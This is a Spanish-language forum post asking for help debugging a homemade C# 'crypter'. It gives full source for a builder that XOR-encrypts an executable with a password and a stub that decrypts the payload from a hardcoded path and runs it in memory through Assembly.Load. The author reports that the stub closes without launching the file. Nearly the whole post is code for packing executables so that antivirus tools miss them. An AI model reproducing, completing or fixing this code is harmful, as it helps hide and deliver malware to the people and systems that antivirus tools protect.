Ayuda con este pequeño crypter en c#

[Borito30]

Hola estoy modificando un facilito crypter en c# obviamente todos sabemos que c# para crypters no es lo suyo pero haciendolo el codigo es:

Código (csharp) [Seleccionar] Expandir

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using System.IO;

namespace Crypter
{
   class Program
   {
[STAThread]
       static void Main(string[] args)
       {
           //No Arguments -> Exit
           if (args.Length < 2)
           {
               Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
               Environment.Exit(0);
           }

           String file = args[0];
           String pass = args[1];
           String outFile = "Crypted.exe";

           //If Output Name is specified -> Set it
           if (args.Length == 3)
           {
               outFile = args[2];
           }

           //File doesn't exist -> Exit
           if (!File.Exists(file))
           {
               Console.WriteLine("[!] The selected File doesn't exist!");
               Environment.Exit(0);
           }

           //Everything seems fine -> Reading bytes
           Console.WriteLine("[*] Reading Data...");
           byte[] plainBytes = File.ReadAllBytes(file);

           //Yep, got bytes -> Encoding
           Console.WriteLine("[*] Encoding Data...");
           byte[] encodedBytes = encodeBytes(plainBytes, pass);

           Console.Write("[*] Save to Output File... ");
           File.WriteAllBytes(outFile, encodedBytes);
           Console.WriteLine("Done!");

           Console.WriteLine("\n[*] File successfully encoded!");
       }
private static byte[] encodeBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}

return bytes;
}
}
}

El stub:

Código (csharp) [Seleccionar] Expandir

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

using System.IO;
using System.Text;
using System.Reflection;
using System.Diagnostics;

namespace Stub
{
   static class Program
   {
       /// <summary>
       /// MAIN
       /// </summary>
       [STAThread]
       static void Main()
       {
           Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           //Application.Run(new Form1());

           //Set Payload File and Password HERE
           RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234");
       }

       private static void RunInternalExe(string exeName, String pass)
       {
           //Verify the Payload exists
           if (!File.Exists(exeName))
               return;

           //Read the raw bytes of the file
           byte[] resourcesBuffer = File.ReadAllBytes(exeName);

           //Decrypt bytes from payload
           byte[] decryptedBuffer = null;
           decryptedBuffer = decryptBytes(resourcesBuffer, pass);

           //If .NET executable -> Run
           if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
           {
               //Load the bytes as an assembly
               Assembly exeAssembly = Assembly.Load(decryptedBuffer);

               //Execute the assembly
               object[] parameters = new object[1];                //Don't know why but fixes TargetParameterCountException
               exeAssembly.EntryPoint.Invoke(null, parameters);
           }
       }

       /// <summary>
       /// Decrypt the Loaded Assembly Bytes
       /// </summary>
       /// <param name="payload"></param>
       /// <returns>Decrypted Bytes</returns>
       private static byte[] decryptBytes(byte[] bytes, String pass)
       {
           byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

           for (int i = 0; i < bytes.Length; i++)
           {
               bytes[i] ^= XorBytes[i % XorBytes.Length];
           }

           return bytes;
       }
   }
}

Pero cuando pongo abro el stub se me cierra y no me abre mi fichero y lo encripte correctamente y todo que estoy haciendo mal?